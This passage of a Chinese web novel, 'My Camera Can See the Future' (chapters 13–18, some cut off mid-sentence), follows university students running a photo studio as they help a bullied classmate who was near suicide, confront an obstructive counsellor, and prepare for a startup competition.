经过一番自我麻痹，樊欣逐渐以为并不存在“魔力相机”这回事了。直到现在，她在刚才试拍的照片后方看到了相当骇人的场景： 照片的背景有点陌生，看上去像是宿舍的天台。眼前的君君，彼时以一种奇怪的姿态杵在楼顶边缘处，与地面产生了接近45度的倾斜，看上去下一秒就要腾空了！ 这姑娘，打算跳楼？！ 怪不得，她看上去那么不对劲……但如果都打算轻生了，还来拍照做什么？就因为这次拍摄是免费的，所以不拍白不拍？或许她这会儿还没想要自尽，是后来发生了什 13. 第13章 《我的相机能看到未来》全本免费阅读 “铁军”是君君的真名，“君君”是铁军的网名。 作为一名眼神清澈的大学生，她的信息安全意识不强，直接在摄影工作室的客户联络本上留下了自己的信息。 “这名字，还真有种‘铁骨铮铮’的气质。” 林龙平日里话不多，此时也忍不住评价了一句。 “原来这‘铁军’，是个女孩儿？” 徐可可第一次见到这个名字，是在一张心理咨询预约单上。 虽说她是传媒学院的，但对心理学也颇有研究，当年那些心理咨询的资质考试还未取消，凡是能报名的，她基本都考下了证书，后期打算在博士阶段继续攻读传播心理学方向。 G大心理咨询中心的老师也兼任校心理协会的指导老师，会将一些看上去相对简单的咨询任务分派给具备资质的学生。 当时，铁军就是通过心理热线联系上了他们。那天，原本是轮到徐可可负责这个case，但看到这名字，可可误以为对方是个男生，恰好心理协会有个符合条件又专业对口的男同学，她想着同性之间沟通起来或许更方便，就和对方调换了。 没成想，就是这样看似人性化的决定，却间接害了那姑娘…… *** 按照心理咨询中心的规定，咨询师会对每一个接手的案子严格保密。所以当徐可可找到那名男同学时，迟迟不知该如何开口，但她本身就不大擅长绕弯子，扭捏了半天，甚至都让对方产生了误会： “学姐，你什么情况啊？约我出来到底是有什么事？你……你不会想对我告白吧？我可是有女朋友的哈。” “你想什么呢？！我是想问问上次调给你的那个案子，就是那个‘铁军’的情况。” 本来还担心对方有顾虑，不便多说，没想到他根本没想那么多，甚至将他人的苦难说得轻飘飘的： “‘铁军’？她啊……我有印象，名字像个男的似的，说是被舍友欺负了，心情不大好，我劝了几句她就回去了。” “这么说来，她是被霸凌了？你怎么劝的？” “我啊？我让她先好好反思一下自己的问题，为什么人家不欺负别人，偏要盯着她呢？” “什么？” 可可简直不敢相信自己的耳朵，没想到他们心理协会还混进了这样的“脏东西”，看来再多的资质证书也不见得能起到一个过滤的作用。 在她的想象里，此时已然起身献上了一记飞踢，将对方满脸的横肉踹得再松散些，探一探他的面皮究竟多厚。若是他有意见，或是皮青脸肿地问起： “你为什么打我？” 可可定会扔回一句： “你先好好反思一下自己的问题，为什么我不揍别人，偏要盯着你呢？” 只可惜，现实中的可可做不出来，她只是冷冰冰地撂下一句： “你不适合心理咨询这个行业。” 便起身去找樊欣了。此时的徐可可也还不太了解铁军的具体情况，但她和樊欣一样，都有种不好的预感。 “都怪我当时搞错了，竟然把她推给了那样不靠谱的家伙。” “别去想之前那些了，既然已经这样了，接下来，我们就想办法解决问题。” 不知从什么时候开始，徐可可觉得樊欣变得有点不一样了，以前的她，对课程以外的活动都不感冒，遇到问题往往比自己还焦虑；如今却跟变了个人似的，果敢、张扬，脾气也大了些，但凡有人再拿她和李浩凡开玩笑，就会变得气鼓鼓的。 翌日，樊欣和徐可可一道去了工作室，因为提前约了君君来取照片。 “你想好怎么问她了么？我们只是帮她拍个证件照而已，要是追问她的情况，会不会管的太宽惹人烦啊？” “这事儿还得靠你啊学姐，开导人这一块，你是专业的。我不知道该怎么说，但有种预感——要是我们不掺和，后来的铁军……会过得不大好。而且，你不是还在为调换咨询师的事后悔吗？正好，弥补一下。” 于是，铁军姑娘来取证件照的时候，樊欣找个借口把她和可可单独留在了工作室里。 樊欣很了解徐可可，知道她有一种堪称神奇的能力，能够春风化雨般地消解他人的各种负面情绪，哪怕寥寥数语，也有令人快速平复情绪的魔力。 为了不打扰可可的发挥，樊欣选择独自在创业实训基地内转悠，入驻基地的小公司五花八门，从美甲店、网络公司、服装设计工作室到宠物店一应俱全。 大楼内的经营者多为高校学生，也有部分场地向社会开放，但资质审核较为严格，因而商户整体素质较高。目前，实训基地的环境还不错，很少有人乱丢垃圾，附近的小猫小狗也有固定的“小食堂”。 樊欣他们有空的时候，也会给流浪的小动物们捎点食物，但最近，不知为何，这一片的小动物数量明显减少了。这一次，她还在周遭的灯柱和垃圾箱上看到了几份不同的寻狗启事和寻猫启事。 “奇怪……这是什么情况？” 樊欣自言自语这会儿，正好收到了可可的消息，催她赶紧回工作室。 *** 待樊欣再见到铁军时，这姑娘已经哭得梨花带雨，双眼肿成了半熟的桃儿。 果然，还得是徐可可，她三言两语便取得了铁军的信任，攻破了对方的心理防线，使其说出了自己的故事。 事情的起因，很荒诞。铁军有个蛮横跋扈的舍友叫高激，见铁军性子软，便处处针对她。没想到，铁军越是软弱不反抗，高激欺负起她来，就越觉得过瘾，久而久之，都成习惯了。 然而，传统的刁难已经难以激发舍友的快感，只让人觉得无聊，霸凌的程度随之不断加码、升级：从阴阳怪气的嘲讽到动手，从添油加醋的调笑到造谣，只用了一年时间，就让铁军逐渐从一个心中充满希望的大学生变为重度抑郁患者。 而使她濒临崩溃的导火线，也很荒唐。事件的起因是铁军因精神压力过重导致内分泌失调，在宿舍用电脑查询生理期为何迟迟不来时，恰好被高激看到了。第二天开始，学院里就传起了铁军的黄谣。 “听说那个名字很中性化的女生，叫什么‘军’来着的，好像怀孕了。” “据说她有 14. 第14章 《我的相机能看到未来》全本免费阅读 从创业实训基地出来以后，她们便开始按樊欣的计划分头行动。 铁军在可可的陪同下，去了医院，毕竟，药不能停；樊欣则跑到了城南数码城，去找林龙帮忙。 “你怎么来啦？我好像没收到消息。” 见到樊欣后，林龙匆忙丢下了手头成箱的货物，还拿起手机确认了一下自己是不是漏掉了对方的电话或信息。 “我临时决定过来的，没打扰你工作吧？想找你们租借一点设备，顺利的话过两天就能还过来，我可以付押金；如果设备不方便外借，我可以直接买……” “送你。” 林龙的回答之干脆，叫樊欣哭笑不得——自己都还没说要借什么器材，他就敢这样夸下海口？对此，店里的小梁也表示： “龙哥是我们店的大股东，都他说了算，欣姐你需要啥，随便拿。” 在樊欣找到自己想要的物件后，林龙也没追问她是拿来做啥的，只关心她要不要留下来一起吃个便饭。樊欣看了眼时间，婉拒后再次感谢了他们的帮助。 “对了，那相机……” 可惜，樊欣已匆匆赶回学校，压根没听清林龙追出来说了什么。 *** 当晚，吃过药的铁军情绪还算稳定，她按樊欣教自己的那样坐在电脑前，静待“风暴”降临。没多久，高激就带着自己的“跟班们”回到了宿舍，见到铁军就开始叫骂： “你现在厉害了呀，长本事了呀？还敢去找老吴告状……想换宿舍？我们就这么不受你待见？肚里不晓得怀了谁的野种，我们都还没嫌弃你脏，你倒先嫌弃起我们了，你配吗？” “我没有！” 尽管樊欣曾叮嘱铁军：今晚受欺负时尽量别出声，也别离开座位，以不变应万变；但听到对方又开始给自己泼脏水，铁军到底还是没忍住，回了一句。但不论她选择沉默还是反抗，结局都是一样的——高激成功被她给激怒了。 *** “你确定，这样做真没问题么？” 徐可可在自己的宿舍里反反复复踱着步，她一焦虑，就会这样。 “学姐，你坐会儿吧，别走来走去的啦，看得我头晕。” “我还是觉得这么做太冒险了，你不晓得铁军那些舍友是怎样的人，你让她别讨饶也别搭理她们，不是把这姑娘往火坑里送么？别说什么她已经习惯了……这种事，永远也习惯不了。” “那你觉得她应该怎么做？像以前一样求她们？忍一忍？咱得帮她彻底把这问题给解决才行。再说了，高激毕竟是G大的学生，也不是什么□□太妹，下手是有分寸的，你看她之前欺负铁军的方式，大多不都是‘精神污染’么？” 樊欣猜得没错，高激这样满身心眼子的家伙，自然不愿给自己的霸凌行径留下证据。当晚她被激怒后，照例开始推推搡搡，用手指大力戳铁军的脑壳儿，怒极了还扇了一记耳光，侮辱性极强但伤害不大，红印都没留下一个。 第二天，商学院辅导员吴老师就将铁军喊到了办公室。 “你给我发这个，是什么意思？威胁我？” 吴老师约的这个时间段，办公室里没有其他人，即便中途有学生进来交材料，也被他怒气冲冲给轰走了。他边说边当着铁军的面打开了那段视频，这是她半夜发来的。 视频的开头一幕中，铁军安安静静坐在自己的位置上，但这份安静很快被高激给打破了，只见她不由分说就开始冲着铁军又打又骂……根据视频拍摄的角度，不难看出——铁军将摄像头安在了自己的电脑上。 *** “欣子你这招……真的管用么？还有啊，你为什么要另外给她配个摄像头啊，笔记本电脑上不都有自带的么？” “那个啊，不太好用，拍摄时的画面可能会同步在电脑桌面上，反而不够隐蔽；我给她的那款摄像头体积小、像素高，比较适合这种场景。” “但就算铁军顺利录下了他们霸凌自己的视频，辅导员就真会答应给她换宿舍？你也知道那老师之前对她的态度，再说那个叫高激的，好像还挺有背景的。” 对于樊欣给铁军支的招，徐可可仍旧不太认可，一来是太过冒险，二来是忙活半天也不见得有用，说不定反倒会让铁军的日子更不好过…… “单靠这一段视频，当然解决不了问题，这不过，是根引线罢了……” *** “想不到你这小姑娘，看起来蛮老实，心眼儿却这么多？你以为安个摄像头，再做个局，装出一副受害者的样子，就能随心所欲了？简直无法无天了你！” “吴老师，我只……只是想换个宿舍。” “换宿舍的事，我不是老早和你讲过了吗，你把我的话当什么啊？学校是你家开的，你今天想住A栋，明天又想搬到B栋去了，都像你这样，还不都乱套了吗？我还怎么做管理工作啦？” “可高激她……她们……” “我知道，高激她们都和你处不来，上次你说想换宿舍，我也问过人家意见了。虽然你有做的不好的地方，但她不计前嫌，还是想试着和你好好相处的呀。而且你看看，这学期的奖学金我都给你安排了，还不满意嘛？” 听到这话，铁军的心里很不是滋味，之所以能得奖学金，是因为自己本来成绩就好，还在省里的会计技能大赛得奖了，现在倒被说成是他的“安排”了。 见铁军不吭声，敬酒不吃吃罚酒，吴老师只能换个法子逼着她表态了： “别的不去说它，但你想想看，要是真把这视频发网上去了，对你是好处多一点还是坏处更多呢？你们班的评优名额和德育成绩都在我手上，你这么做的话，考虑过后果么？还有啊，你应该知道高院长和高激的关系吧？” 铁军有点惊恐地抬起头看向吴老师，她倒不是被对方所说的内容给吓到了，只是顿时发现——自己曾经挺信赖的老师竟变得如此陌生。但这反应，却让吴老师误会她被自己给说动了，便乘胜追击，继续加码： “你想想看，你这样一个普通的学生，在网上发个视频能激起多大的水花？有高院长的关系在，很快就能被撤下来，但接下来，你的处分恐怕是逃不掉的了。” 铁军没有继续追问自己没做错什么，又何来“处分”一说，因为她很清楚“欲加之罪，何患无辞”的道理，便表示自己暂时断了传播视频的念头，怯生生地退出了吴老师的办公室。 她不太记得自己是以怎样的状态走出办公楼、回到阳光下的，只感到非常紧张，手心早已汗涔涔的，再不走出来，就要撑不住了。 铁军找了一处无人的长椅坐下，沐浴着和煦的日光，吹了会儿自然风，才缓过神来，给樊欣发了一条消息： “欣姐，我拿到了。” ***< 15. 第15章 《我的相机能看到未来》全本免费阅读 在见到唐老师之前，铁军的心里直犯怵，生怕对方和吴德是一个类型的。 直到樊欣主动提出带她一起去办宿舍转入的手续，铁军心里才踏实了一点。 第一眼，她只觉唐老师是位不苟言笑的中年女士，双手不停敲击着键盘，眼镜都快贴到电脑屏幕上了……但见到她们后，便暂停了手头的工作，微笑着打起招呼来，一点师长的架子都没有，浑身透着一股由内散发出的温暖和善。 “你就是铁军吧？欢迎加入我们学院的团队哦，要是樊大小姐有不靠谱的地方，你就来找唐老师，我帮你好好说她。” “咳咳……唐老师别这样，我可是好学生。对了，这是报名表，电子版的材料我刚才发您邮箱了。” “我收到了，刚就是在处理你们的报名信息，我以为这次要赶不上了，但又不敢催你，怕你压力太大……现在好了，一切顺利。无论什么结果，总要试一试，后期有什么需要的话记得联系我。” *** 樊欣和可可，还有从约会中抽出空来的薛蕾一道去帮铁军搬宿舍，高激见对方人多势众，还都是其他学院的学姐，自然不敢造次。 但宿舍事件告一段落之后，可可在与樊欣独处时还是忍不住讲出了自己的担忧： “虽说铁军搬过来了，但她的主要关系还是商学院，我担心她上课的时候……” “她暂时不用去上课了。” “啥？” “报名成功之后，团队成员可申请转为校级创新创业训练营学员，按时参与学校组织的相关培训，其余一切课程暂停，期末由教务处统一赋分。这样一来，之前的舍友或是辅导员，暂时都影响不到她了。” “原来是这样……铁军之前参加过会计技能大赛，专业知识学得比较超前，停课对她来说问题不大，但之前她那谣言要怎么办，她要怎么去证明……” “本来就莫须有的事儿，要证明什么呢？人生建议：千万别掉进‘自证’的陷阱里。而且，等我们带着铁军一起站上领奖台的那一天，所有谣言早就不攻自破了吧？” “看来，你早都帮她考虑好了啊……” 徐可可合上手头的文献，面带赞许地看向樊欣，但对方却没什么反应，只是淡淡回了一句： “也不全是帮她，我们也需要她。” 樊欣说的没错，她可不希望团队里出现一些“挂名”的人员，大家各展所长，朝着一个目标一起努力，才是最棒的。 而在徐可可看来，樊欣是嘴硬心软的类型，比如，她也很在乎流浪的小动物，会定期买些狗粮猫粮的，却总说成是为了凑单，和可可一道去喂食的时候也漫不经心地说自己只是顺道转转。 *** 团队初步成型后，樊欣便想和大家商量着给队伍起个合适的名字。 他们要做的智能相机程序，基于大数据和“人脸识别”技术，秉着“可以冷门，但不能邪门”的原则，众人排除了“愁眉苦脸、劈头盖脸、死皮赖脸”等一系列看似沾边的词儿，最后还是回到了原点—— “要不就叫‘灵犀’吧？团队的名称也不见得一定要带‘脸’这个字，和我们工作室同名的话，也挺好记的。” 樊欣很清楚：郑虔设计“灵犀”相机，就是想赋予其灵敏的感应，希望它能读懂用户的需求；而这个词用来做项目名的话，同样能展示团队成员间“心有灵犀一点通”的默契，因而大家都觉得她这提议还不错。 大多团队在年初已经开始准备比赛事宜，但“灵犀”项目才刚刚起步，他们需要尽快准备材料，以应对一个月后的校赛。 郑虔负责开发主体程序，除了回宿舍洗漱、休息，其余时间都泡在工作室里，吃饭都是随便点个外卖或带点干粮将就一下；林龙则根据郑虔的设想，配合设计硬件设备；樊欣和可可分别按项目的进展制作汇报PPT和商业计划书；铁军则利用自己的专业技能，估算项目的成本和收益，完善材料中的财务部分。 大家配合得相当默契，虽然辛苦，却也能在一场场集体熬夜中找到乐趣。即便再忙，他们也没有关停摄影工作室，因为业务一旦中断，会丢失原有的潜在顾客；同时，大家紧绷的神经也需要一些调剂，这工作就权当是放松了。 数日后，可可已经将商业计划书的框架搭好了，便从图书馆出发，准备到工作室去看看奋战中的伙伴们。 但在进入创业实训基地的大楼之前，她还是习惯性地去看了一眼流浪动物们的“小食堂”，熟悉的小白猫见可可来了，照例上前围着她蹭了又蹭，很是亲昵。就在她蹲坐在地上，和小猫玩得入神之时，却看到身前漫上了一层阴影…… 那一刻的可可，内心非常恐惧，天色已晚，实训基地内的学生或员工大多已经下班了，她现在所处的位置在基地的背面，正因为有些偏僻，才会吸引来那么多的流浪动物。 她不敢转身，只能闭上眼绷紧了身体，微微发颤。 “小姐姐，请问你知道‘灵犀摄影工作室’怎么走么？” 身后传来一阵颇具磁性的男声，听起来没什么攻击性，可可终于松了口气，想要转身站起来时，却发现自己的腿都蹲麻了。见她站都站不稳的样子，来人赶忙上去搀扶，可可脚下一软，竟顺势倒在了对方怀里。 多冒昧呀！ 借着路灯灯光，徐可可的眼前浮现出了一张俊美的脸：无暇的冷白皮、眸子清澈明亮，他的五官集合了不少明星的优点，身着一套燕麦色连帽卫衣，反戴的鸭舌帽后垂着一条小辫，又帅又潮。 她有“潮人恐惧症”，也不太相信一见钟情，但就在这一刻，徐可可完全沦陷，甚至开始相信——命中注定。 “你没事吧？” 徐可可当然没事，能遇到这样一个完全长在自己审美上的帅气男大，除了在心里默默感谢上苍，她还能有什么事啊？ “我没事……你刚说，要去哪里来着？” 当对方再度报出“灵犀摄影工作室”的全称时，可可更加相信——他，就是自己命定的缘分。于是，她立刻带着对方朝团队的基地赶去，完 16. 第16章 《我的相机能看到未来》全本免费阅读 这一次，相机里凭空多出的照片是由徐瑞祥触发的，但画面中却看不到他的影子。 内容之可怕，险些叫樊欣失手摔了相机，好在她习惯将相机带子挂脖子上，还在左手缠了几圈，这才避免了悲剧发生。 照片的拍摄时间，大概是傍晚时分，其中的光线半明半昧，场地也难以判断。画面中的主体是一只遭到虐待的动物，血肉模糊，看不真切，但能模糊辨认出它应该是只毛色发黑的猫咪，很像是樊欣先前看到的寻猫启事中的主角。 这相机，为什么要让自己看到这些…… “怎么了，照片拍得咋样啊？” 这回凑到樊欣跟前想一起查看照片的，是徐可可，她一靠近，相机里的虐猫照片立刻就消失不见了。这样一来，本就与徐瑞祥第一次见面的樊欣，更是没了物证，不好发作，只得静观其变。 “有些照片拍出来过曝了，剩下的这几张还不错，等我先拷到电脑上，再让徐同学自己看看吧。” 徐瑞祥听樊欣说已经拍好了，便拿起自己的卫衣和帽子，准备带到隔壁的洗手间去把正装给换下来。 趁着他暂离工作室的空挡，可可悄悄向樊欣提出了一个请求： “能不能让他过两天再来取照片呀？” *** “灵犀摄影工作室”平淡地运行着，樊欣关于虐猫事件的调查也没什么头绪，但新的挑战又出现了——校级青年创新创业选拔赛将在半个月后进行。 凑齐团队成员组队报名，研发项目的程序或是制造相应设备，都还只是这比赛的第一步，只有在校级竞选中脱颖而出，他们才有机会获得专家指导，并代表G大去冲击更高层级的奖项。 “你们团队定的汇报人是哪位呀？” 之前，樊欣他们备赛的时候，唐老师也会时不时地发消息关心一下，但又担心自己的关心会给他们带来压力，因而总显得小心翼翼。如今，校赛在即，唐老师总算狠狠心，暂停了先前的“放养模式”，将樊欣的团队喊到了自己的办公室里。 “汇报人？” “灵犀”项目的各位成员在听到唐老师的问题后，几乎异口同声地用问句表达了自己的惊讶。组队以来，他们总忙于项目本身，还没来得及考虑上台汇报的事。 众人面面相觑，迅速思考着团队里的哪一位更适合充当这一角色： 樊欣个子高，形象好，可一旦情绪紧张，就语速极快且面无表情；可可倒是外向又亲和，但校赛那天她要到外地参加学术会议，分身乏术；郑虔就更不用说了，搞技术他在行，别的就够呛；林龙的话，上台打拳没问题，发言啥的，就费劲了；还有铁军，现场需要团队的财务人员上台参与答辩，这个角色和主汇报人是分开的。 “五人只是组团的下限，你们可以另外再招募一个成员负责项目汇报，现在时间还来得及。” *** 当天晚上，正好到了徐瑞祥预约来取照片的时间，樊欣他们在工作室里一边讨论项目事宜，一边等他。 徐可可今天的装扮，看起来尤为“隆重”，常年素颜的她特意给自己化了个全妆，但手法笨拙了些，导致双眉一高一低、眼线太浓、眼影太艳，粉底打得不够均匀……还有那身米黄色的连衣裙，也好久没见她穿过了。 “可可姐，你等下要出去么？” 铁军一向文静话少，但见到这样陌生的徐可可，也忍不住发问。 “不出去，我……我就想练习一下化妆手法，以后更好地服务客户。” 好在可可给别人化妆的技术远远好过给自己化，不然工作室的口碑怕是都要栽在她手里了……樊欣这样想着，就听到了敲门声。 来人自然是徐瑞祥，最近的气温有所回升，今天他没穿之前那身薄卫衣，换上了更为休闲的浅色T恤，衣摆上留有淡淡的棕褐色污渍，看上去有点像那种没洗净的血迹…… 他没戴帽子，黑亮的中长发照例在脑后随意地束成一把低马尾，有颜任性，什么造型都能驾驭。也正是因为徐瑞祥的高颜值，给他拍照不用太过纠结角度或光线，拍出来的效果都很好。 待他确认无误后，樊欣便为他印出了两版证件照来，但看到这些照片，她就会想起拍摄那天相机里新增的画面，想起那只倒在血泊中的小黑猫…… 送走徐瑞祥，可可想起了近来的任务，立马找樊欣建议道： “你不觉得这个徐同学，很适合当我们的汇报人么？” 若不是有虐猫照片这茬儿，客观来说，他的确是合适的：形象好、气质佳、嗓音有磁性，待人接物大大方方看上去不会怯场……但樊欣在相机里看到的那一幕，使她对这个徐瑞祥充满了怀疑，甚至觉得在对方阳光开朗大男孩的皮囊之下，藏着一副阴森森的灵魂…… “他和我们也不熟，会同意么？” 未等樊欣发表意见，郑虔就在一旁提出了自己的顾虑，铁军也跟着补充道： “可可姐，他应该还没走远，你要不要追过去问问看？” 徐可可似乎就在等待一个这样的契机，闻言立马点点头，跟了出去。这时候，樊欣却收到了一条奇怪的信息： “你最近还挺安静的。” 发信息的，正是几乎被她遗忘的李浩凡——她在另一个平行宇宙的年下前任，同时也是这个世界的博士学长，用可可他们的话来说，还是樊欣的“男神”。 樊欣是这个学期刚刚“穿越”回来的，并不了解之前自己对这里的李浩凡有多狂热，更不清楚她先前有多么的“不安静”，只能浅浅地打出了一个： “？” *** 后来几天，李浩凡都没有再回复樊欣的消息，同时，可可也一直处于闷闷不乐的状态。 当晚，可可追上了徐瑞祥，在邀请他加入自己的创业团队时，却遭到了对方的婉拒。 徐瑞祥表示自己这段时间的生活已经被各类活动排满了，包括复习考研、兼职、吉他社的排练以及小动物保护协会的志愿活动 17. 第17章 《我的相机能看到未来》全本免费阅读 李浩凡啊李浩凡，这名字越听越像是“你好烦”。 而且，听他那语气，还扯什么“定力不错”，搞得好像樊欣在欲擒故纵似的，他还真把自己当霸总了？ 樊欣这样想着，直接在对话框里怼了一句： “本人没空和你吃饭，你要是太闲，出去找个班上。” 但还没她按下发送键，就听到身后传来唐老师的声音，手里的动作也随之暂停了。 “还在这儿呢？” “刚在发消息……唐老师您这是，下班了么？” 樊欣举起手机确认了一下时间，果然已经过了下班的点。 “对啊，难得可以准点下班，开心！对了，你们专业不是有个博士在做传播模型的研究嘛，就那个李浩凡，你认识的。他最近中了个省社科的青年专项课题，要不看看你们的项目能不能用他那套理论推广一下？” 真心羡慕唐老师——人到中年还有孩子般的开朗烂漫，但看她难得准点下班就这样开心，樊欣忍不住有点心疼她。 等郑虔和林龙将“灵犀相机”的主体做出来后，他们就将面临市场推广的问题，这对于初创期的小团队而言，显得尤为棘手。 好吧，为了“灵犀”项目能更好地发展，忍了。 樊欣谢过唐老师后，耐着性子删去了对话框里的文字，重新打上了一句： “今晚几点？” *** 樊欣回宿舍整理了一下参赛的材料，便匆匆赶去赴约。 她没有迟到，但李浩凡比她来得更早。樊欣也没想到，自己还能有机会和“昔日的爱人”这样面对面坐在一起，心中难免唏嘘。 李浩凡穿着咖色的学院风薄线衫，见樊欣来了，不动声色地推了推鼻梁上的金丝眼镜，挠了挠自己那头清爽的浅棕调短发，似乎有点紧张。 他的这张脸，对樊欣来说真是太熟悉了。在之前那个时空里，李浩凡离开她时，也是这般年纪，也是这样眉眼细长、五官清秀、皮肤白皙，除了这里的他还没做过近视矫正手术外，几乎别无二致。 他们一起旅行时见过的风景，曾经的甜蜜和后来的决绝，几乎是一瞬间涌入了樊欣的脑海里，她只能努力克制情绪，试图让自己尽快冷静下来。 一开始，李浩凡还故作姿态地低着头，直到抬眼邀请樊欣一起点菜时，方才看清了来人的面貌，甚至还直愣愣盯着樊欣，歪头观察起来，眼神里满是疑惑。 “怎么了，你看什么？我脸上有东西？” 樊欣本来就压抑着复杂的心绪，被对方这样盯着，更觉心里发毛，忍不住直接将手机切换到自拍模式，对着屏幕照起了镜子，但没看出自己面部有什么异样。 “没什么，但你今天怎么……怎么就这样过来了？” 樊欣不了解的是，在这个平行宇宙中的自己，曾对李浩凡有多重视，哪怕只是有机会到同一个会场参加活动，她也会精心打扮，甚至有点隆重过头了。 比如，明明不擅长化妆的她，为了给心仪的学长留个好印象，在参加学术会议时浓妆艳抹，活活把自己化成了“如花”。 而今晚的她，看起来真的太“素”了：一点妆都没化，连打底也没上，穿一身宽松的卡通大T恤配运动裤，头发也没洗，稍微有点出油，很随意地在脑后束成了一个揪揪。 “我……我该哪样？” 樊欣有点诧异，还特意环顾了一圈周遭的食客，发现大家的穿衣风格都各具特色，再说这本来也不是多正式的场合呀，李浩凡自己不也穿得很休闲么？ “没事没事，不说这个了。话说，你最近好像挺忙的？” 李浩凡的弦外之意是——你最近怎么都不像过去那样缠着我了？ 可此时的樊欣，自然是听不出他话里有话，直言自己确实在创新创业大赛中投入了不少精力。而这一点，同样遭到了对方的质疑： “我记得你之前对这些活动都不感冒，怎么突然就……” “那我之前对什么感兴趣？” 樊欣下意识的追问，反倒叫李浩凡乱了阵脚，他在内心默默给出了自己的答案：“你之前，对我感兴趣。” 可终究是没好意思说出口，只能继续装酷一般垂着头，叫樊欣捉摸不透这家伙到底在脸红什么啊？ 当然，她可没忘记此行的目的，见李浩凡不回话，便直截了当讲出了自己的诉求： “小李……李学长，关于你最近立项的课题，我有几个问题想请教一下。” 在樊欣之前生活的那个平行宇宙中，李浩凡比自己小几岁，和现在的情况正相反。 尤其他刚进公司那阵子，像个小弟似的成天跟在樊欣后头，叽叽喳喳，她一开始跟着大家一起喊他“小李”，后来即便两人在一起了，也习惯这么称呼他，至今很难改口。 这个时空里的李浩凡，从“小李”变身为“李学长”，还能从学术层面为樊欣提供指导和帮助，真是风水轮流转啊……只可惜，尽管他不吝赐教，但课题涉及的内容过于宏观，对“灵犀”项目的宣传而言，意义不大。 “不过，我觉得现在这样的你，反倒挺有意思的。” 李浩凡轻轻一笑，挑出几支荤素搭配的串儿扔进了锅里。 在樊欣之前生活的那个时空，李浩凡就很爱吃烤串；但在这个世界，流行的是“煮串”：这种吃法和串串香或钵钵鸡不同，是将串在签子上的食物煮熟后，再根据自己的口味蘸料食用或另行烤制。 “有意思？” 樊欣不觉得自己和这个词有什么关系，反倒觉着眼前新奇的吃饭挺有意思的。多数时候，她都专注于尝试不同的蘸料，完全没发现对方正满眼欣慰地看着自己。 原先，李浩凡还觉着这个学妹有些烦人，现在见她不搭理自己，反倒开始注意对方了，还慢慢发现这姑娘有主见有原则，还有点可爱。 “这些，你先拿着……” 李浩凡猝不及防将煮好的串儿递给樊欣，她一下子没反应过来，却也顺势接下了那些花花绿绿的食物。 这个世界的种种“异样”，仿佛时刻都在提醒着她——这其实是个全新的时空，别再纠结原来的生活啦！ 这么说来，眼前的这个李浩凡，也不是另一个时空的那个他了。 那个作为弟弟的李浩凡，每次和自己吃饭时，都跟参加大胃王比赛似的，若是樊欣因工作分了心，再回餐桌时，会发现对方趁其不备将菜品吃了大半，只留给她一些边角料。 尽管经过樊欣的调教，后来 18. 第18章 《我的相机能看到未来》全本免费阅读 “你来干什么？” 林龙这一问，反倒叫对方有点怀疑自己，下意识退出工作室外，重新看了一眼它家的招牌。没错啊，“灵犀摄影工作室”，他要找的地方，就是这里。 “我为什么不能来？这照相馆你开的？” 来人应该是将樊欣他们当作这里的客人了，语气很冲地怼了一句，没想到等来了她这样的回答： “没错，这里确实是我们一起开的。” 双方僵持不下之时，徐可可突然想起了今天工作室的预约，忙不迭上前打起了圆场： “您是昨晚和我联系过的王先生么？” *** 在众人诧异的目光中，徐可可重新向众人介绍了一下今天的客人。 来人名叫王世东，昨晚通过电话预约了今天的拍摄；当然，对于樊欣来说，他还有另一个身份，即她在开学之初遇到的碰瓷老头。 徐可可并不了解他们双方的恩怨，只因昨晚忘了将预约的事告知大家而有点抱歉。 自打发现铁军能分担妆造任务后，可可便开始对接客户，她有耐心、善沟通，很适合这任务，只是记性不好，有时会忘了通知大伙儿提前做准备。 经她解释，樊欣才明白了这老头为啥会出现在这里，否则还以为对方是对那电动车念念不忘，多方打探，才跟踪她来这儿的呢。 “你那车，我充好电后就停车棚里了，一直没用过，可以还给你。” 樊欣早就想好要找机会将那电动车还回去，正好今天碰上了这老头，只要他不像之前那样咋咋呼呼、甚至倒打一耙，就可以物归原主。 “不用了，反正这车，我也用不上了。” 樊欣曾设想过对方可能会继续耍无赖，或是“忍辱负重”地表达感谢，但他这样的回答，却是樊欣没料到的。原本，她都已经开始翻包找车钥匙了，又因为对方的话而停下了。 “用不上了？” “对，用不上了，这事啊，说来话长。” 原来，王老头碰瓷樊欣那天，见坐骑被带走，自然很不甘心，但自己做的笔录都盖过手印了，没法反悔。 他便忿忿不平地跑到了医院，做了个全面检查，还不忘留好全部的发票，心想但凡有点什么问题，立马去找樊欣报销，说不定还有机会再讹上一笔。 “但‘胰腺癌’这种问题，是摔不出来的……况且那天，本来就是我自己骑错了道。现在想想，其实还得谢谢你，否则，不知等到哪一天才会发现……” 听到这话，现场霎时陷入了沉默，空气中开始萦绕着一层灰蒙蒙的哀伤。 樊欣想起初见这大爷时，就发现对方面色发黄、形容消瘦；但她不知道的是，这看上去蛮横的王世东当时就是被一阵腹痛袭中，才没能把握住手柄的方向。 “发现得早的话……应该可以手术的吧？” 先前对王世东颇有防备的林龙，此时也动了恻隐之心，关心起他来；铁军和魏万则都满脸悲伤地站在一旁，不知该说些什么；可可的共情能力很强，她总想试着说点什么，只是话到了嘴边，却不知该怎么开口。 听到林龙的问题，王世东抿嘴苦笑，未置可否，他看起来年纪也没那么大，但状态确实不太好。 樊欣的心情同样复杂，她想试着打破这种尴尬的沉默，而在得知王世东的情况后，她对对方的称呼也有了一点微妙的变化： “王……王大爷，今天是想拍什么风格的照片？” 王世东所住的拆迁小区，就在这大学生创业实训基地附近，他也是偶然听说了这家新开的摄影工作室有开业折扣，才特意跑过来的。 “你们这边，是不是可以让我自己选服装的？” “对呢，还能帮您化妆，做做造型。” 尽管可可总觉着“化妆”这词和王大爷有点不搭，但拍摄前做一点基础的修饰，倒也无伤大雅。 这王世东倒也没对她的说法提出啥异议，径直跑到服装区选了起来，叫人没想到的是——他竟挑中了一条亮橙色的领带。 这条领带，是话剧社之前出演儿童剧时用过的，使用亮色，是为了吸引小朋友的注意力；不过，剧目的演员都是成人，因而即便配色不寻常，尺寸对王世东来说倒是没问题。 “我家老太婆就喜欢这种颜色，要是配上一件白衬衫，神气伐？” 王大爷一边问着，一边将自己选中的服装和配饰放在身前比划，尽管看起来有些虚弱，但精神状态还不错。 众人见状，赶忙一齐点头，只想哄着他，哪怕能让他多开心一会儿。樊欣同样如此，她还不计前嫌地和对方攀谈起来： “这身搭配，蛮……蛮有创意的。王大爷你那电动车上，好像也有几道鲜艳的花纹，和这条领带是一样的颜色。” 